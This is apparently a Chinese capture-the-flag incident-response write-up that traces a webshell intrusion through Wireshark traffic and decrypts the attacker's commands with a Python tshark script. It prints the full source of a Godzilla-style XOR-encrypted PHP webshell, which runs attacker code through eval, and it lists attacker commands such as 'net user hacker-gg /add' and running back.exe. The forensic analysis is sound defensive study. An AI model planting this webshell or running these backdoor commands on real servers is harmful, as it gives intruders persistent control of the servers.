题目信息项目内容题目名称2026CCF-系统后门用户分析题目来源玄机靶场题目类型应急响应 / 流量分析子分类Webshell 分析 / Linux 后门排查考点Wireshark 流量过滤、HTTP 协议分析、文件上传分析、Webshell 代码审计难度⭐⭐最终 Flagflag{hacker-gg}️ 使用工具Wireshark/Tshark核心流量分析工具用于打开流量分析.pcapng并追踪 TCP 流。Python 用于还原 Webshell 中的异或加密逻辑解密攻击者发送的命令。 解题思路拿到题目仅有一个流量分析.pcapng文件意味着我们只能通过“看”网络流量来还原攻击者的行为。我们需要从零开始像一个完全不知道攻击者做了什么的安全分析师一样一步步筛选、追踪、解码最终找到攻击者添加的后门用户名。第 1 步宏观分析——查看整体流量构成打开 Wireshark 后我们面对成百上千个数据包不能漫无目的地乱翻。首先要做的是“鸟瞰”全局。操作点击顶部菜单栏的统计 (Statistics)-协议分级 (Protocol Hierarchy)。结果分析在弹出的窗口中我们发现HTTP协议占据了极大的比重按字节约 32%按数据包数量约 35%。同时Line-based text dataHTTP 载荷明文和HTML Form URL Encoded表单提交数据的出现表明攻击者很可能通过Web 应用发起了攻击。SSH、Telnet 等其他远程管理协议几乎未见踪迹因此Web 流量就是我们排查的重中之重。接着通过Wireshark中的统计-会话功能看到主要通信集中在Tcp通信中其中8022端口的流量比较多。 这一步的目的是锁定“主战场”。如果不先做统计很容易在加密的 TCP 垃圾包或正常的广播包中浪费大量时间。第 2 步筛选请求——定位攻击者的操作入口使用wireshark筛选出8022端口的通信同时查看成功通信的数据可以发现攻击者在做目录扫描探测。tcp.port8022 tcp contains 200上面都是GET方法如果攻击者向服务器提交数据如上传文件、执行命令则通常使用HTTP的POST方法因此过滤POST方法。操作在 Wireshark 顶部的“显示过滤器”栏中输入以下过滤表达式并回车http.request.method POST结果过滤后数据包数量大幅减少。观察过滤后的列表我们发现了两个关键的目标 IP 和路径路径/upload.php这看起来像一个文件上传页面很可能是攻击入口。路径/uploads/php_68525da04b2c37.31016234.phpuploads目录下的动态 PHP 文件很像是上传成功后生成的木马文件。第 3 步分析第一个 POST 请求——提取 Webshell 木马源码我们查看第一个/upload.php相关的数据包的详细内容。操作右键点击该数据包 -追踪流 (Follow)-TCP 流 (TCP Stream)。Wireshark 会还原这次 HTTP 请求和响应的完整原始数据。发现在 TCP 流窗口中我们看到了一个标准的文件上传请求。攻击者上传了一个名为upload.php的文件。文件内容是一段 PHP 代码已加注释?php // 环境初始化 session_start(); // 开启会话用于存储payload set_time_limit(0); // 无执行超时 error_reporting(0); // 关闭错误显示 // XOR加密/解密函数 function encode($D, $K) { for ($i 0; $i strlen($D); $i) { $c $K[$i 1 15]; // 从16字节密钥中循环取字符 $D[$i] $D[$i] ^ $c; // 逐字节异或 } return $D; } // 通信参数 $pass gg; // POST参数名 $payloadName payload; // Session键名 $key 3c6e0b8a9c15224a; // 16字节密钥哥斯拉默认 // 核心逻辑 if (isset($_POST[$pass])) { // 先Base64解码再XOR解密 $data encode(base64_decode($_POST[$pass]), $key); if (isset($_SESSION[$payloadName])) { // 非首次请求取出payload并解密 $payload encode($_SESSION[$payloadName], $key); // 检查是否含getBasicsInfo若无则再次加密 if (strpos($payload, getBasicsInfo) false) { $payload encode($payload, $key); } eval($payload); // 执行恶意代码 // 返回MD5校验头 加密结果 MD5校验尾 echo substr(md5($pass . $key), 0, 16); echo base64_encode(encode(run($data), $key)); echo substr(md5($pass . $key), 16); } else { // 首次请求若包含getBasicsInfo存入Session if (strpos($data, getBasicsInfo) ! false) { $_SESSION[$payloadName] encode($data, $key); } } }⚠️注意加密方式单一encode()做逐字节 XOR密钥$key、参数$pass、会话$payloadName三件套写死分流标记用字符串getBasicsInfo判断首次初始化 / 执行命令回显格式响应为md5前16位 base64(encode(结果,key)) md5后16位代码风格单文件、抑制报错、set_time_limit(0)免超时以上特征组合尤以$pass/$key/$payloadName结构 getBasicsInfo标记 md5 回显是Godzilla 加密马的典型指纹据此判定攻击工具为哥斯拉。第 4 步追踪木马交互流量——捕获加密指令我们回到过滤列表查看针对木马文件php_68525da04b2c37.31016234.php的 POST 请求。操作点击过滤出的第二个关键路径木马文件的数据包再次右键 - 追踪流 - TCP 流。这一大段gg...是 Godzilla 客户端在发送命令之前发送的加密脚本前置脚本里面是一大坨 Godzilla 的 exploit 框架代码 待执行的命令php 代码不是普通的一句话木马。它的组成部分大致是框架初始化代码run()、formatParameter()、getBasicInfo()等函数定义—— 这是 Godzilla 自带的执行环境要执行的命令比如whoami、net user hacker-gg /add等嵌在参数区会话密钥/标记用于和服务端握手、后续响应加密**前面都是Godzilla在执行命令前的前置脚本所以我们在后面一点实际是1904帧及之后右键 - 追踪流 - TCP 流。可以发现攻击者执行的一条一条的命令经过加密。第 5 步解密攻击指令——还原真实命令使用下面的python代码解密攻击指令因为已经知道upload.php的内容据此可以写出解密脚本。需要注意的是由于webshell不是单一流而是很多个不同的TCP流230~244因此需要提取不同的TCP流。#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess, base64, urllib.parse, gzip, sys #这里要根据你自己的路径修改 #这里要根据你自己的路径修改 TSHARK rF:\Wireshark\tshark.exe PCAP rD:\Google浏览器下载\流量分析.pcapng KEY b3c6e0b8a9c15224a # Godzilla 密钥ASCII 16字节 WEBSHELL /uploads/php_68525da04b2c37.31016234.php # 过滤 webshell 路径 def run_tshark(display_filter, fields): 调用 tshark返回字段列表逐行。 cmd [TSHARK, -r, PCAP, -Y, display_filter, -T, fields] for f in fields: cmd [-e, f] out subprocess.run(cmd, capture_outputTrue, textTrue, encodingutf-8, errorsreplace).stdout return [ln.strip() for ln in out.splitlines() if ln.strip()] def php_xor(data: bytes) - bytes: return bytes(b ^ KEY[(i 1) 15] for i, b in enumerate(data)) def get_post_body(frame: int) - bytes: hx run_tshark(fframe.number{frame}, [http.file_data]) if not hx: return b hexstr hx[0] return bytes.fromhex(hexstr) def decrypt(frame: int): body get_post_body(frame) if not body: return None s body.decode(latin1) idx s.find(gg) if idx 0: return None val s[idx 3:].split()[0] val urllib.parse.unquote(val).strip() try: cipher base64.b64decode(val) except Exception: return None plain php_xor(cipher) # 尝试 gzip try: txt gzip.decompress(plain).decode(utf-8, replace) except Exception: txt plain.decode(utf-8, replace) return txt def extract_cmd(text: str) - str: 从 Godzilla 载荷里提取命令。 # 优先 cmdLine i text.find(cmdLine) if i 0: seg text[i 7:] # 去掉二进制长度前缀等不可见字符保留可打印 printable .join(ch for ch in seg if ch.isprintable()) return 命令: printable[:300] # 其次 methodName i text.find(methodName) if i 0: seg text[i 10:] printable .join(ch for ch in seg if ch.isprintable()) return 方法: printable[:80] # 最后 raw 前 150 字符 printable .join(ch for ch in text if ch.isprintable()) return 内容: printable[:150] def main(): # 取所有 webshell POST 帧号webshell不是单一流而是很多个不同的TCP流230~244 frames [] # 1. 建一个空列表准备存帧号 for line in run_tshark( http.request.methodPOST, # 2. 过滤条件只要POST请求 [frame.number, tcp.stream, http.request.uri] # 3. 每行取这3个字段 ): parts line.split() # 4. 把一行按空格拆成 [帧号, 流号, URI] if len(parts) 3 and WEBSHELL in parts[2]: # 5. 判断URI 里是否含 webshell 路径 frames.append(int(parts[0])) # 6. 是 → 把帧号存进列表 frames sorted(set(frames)) if not frames: print(未找到 webshell POST 帧检查路径/过滤条件) return print(f共 {len(frames)} 个 webshell POST 帧开始解密...\n) for fr in frames: txt decrypt(fr) if txt is None: print(f 帧 {fr} (无 gg 或解码失败)) print() continue print(f 帧 {fr} ) print(extract_cmd(txt)) print() if __name__ __main__: main()逐帧解密后得到攻击者执行的完整命令帧号流号方法/命令说明阶段1791230初始化脚本主体putenv/execCommand框架注入 Godzilla 执行环境①初始化/握手1807230test连接测试①初始化/握手1812230g_close关闭会话①初始化/握手1871231初始化脚本主体新连接重新注入环境①初始化/握手1886231test连接测试①初始化/握手1891231getBasicsInfo获取系统基础信息①初始化/握手1904232whoami确认当前用户ayy②权限探测1909232net user查看现有账户②权限探测1914232ls列目录Windows 下无效③目录枚举1919232dir列目录③目录枚举1934233net user hacker-gg /add创建后门用户 hacker-gg④创建后门账户 ⭐1939233net user复查账户确认 hacker-gg 已存在④创建后门账户 ⭐1953234getFiledirNameuploads/浏览 uploads 目录⑤文件浏览1965235getFiledirNameWWW/浏览网站根目录⑤文件浏览2033236uploadFile→back.exe上传后门程序73802 字节⑥上传后门2049236getFiledirNameWWW/确认文件落地⑥上传后门2061237tasklist查看进程⑦侦查2077238netstat -an查看网络连接/端口⑦侦查2090239../back.exe运行 back.exe⑧执行后门2095239tasklist确认进程⑧执行后门2110240echo DKM9Pw cd echo kIznPU路径确认标记命令⑧执行后门2124240back.exeWWW 目录再运行后门⑧执行后门2146243getFiledirNameWWW/目录复查⑨收尾确认2158244tasklistWWW 目录确认后门进程存活⑨收尾确认 最终 Flag题目说攻击者添加的后门用户名作为flag则flag为hacker-gg。flag{hacker-gg}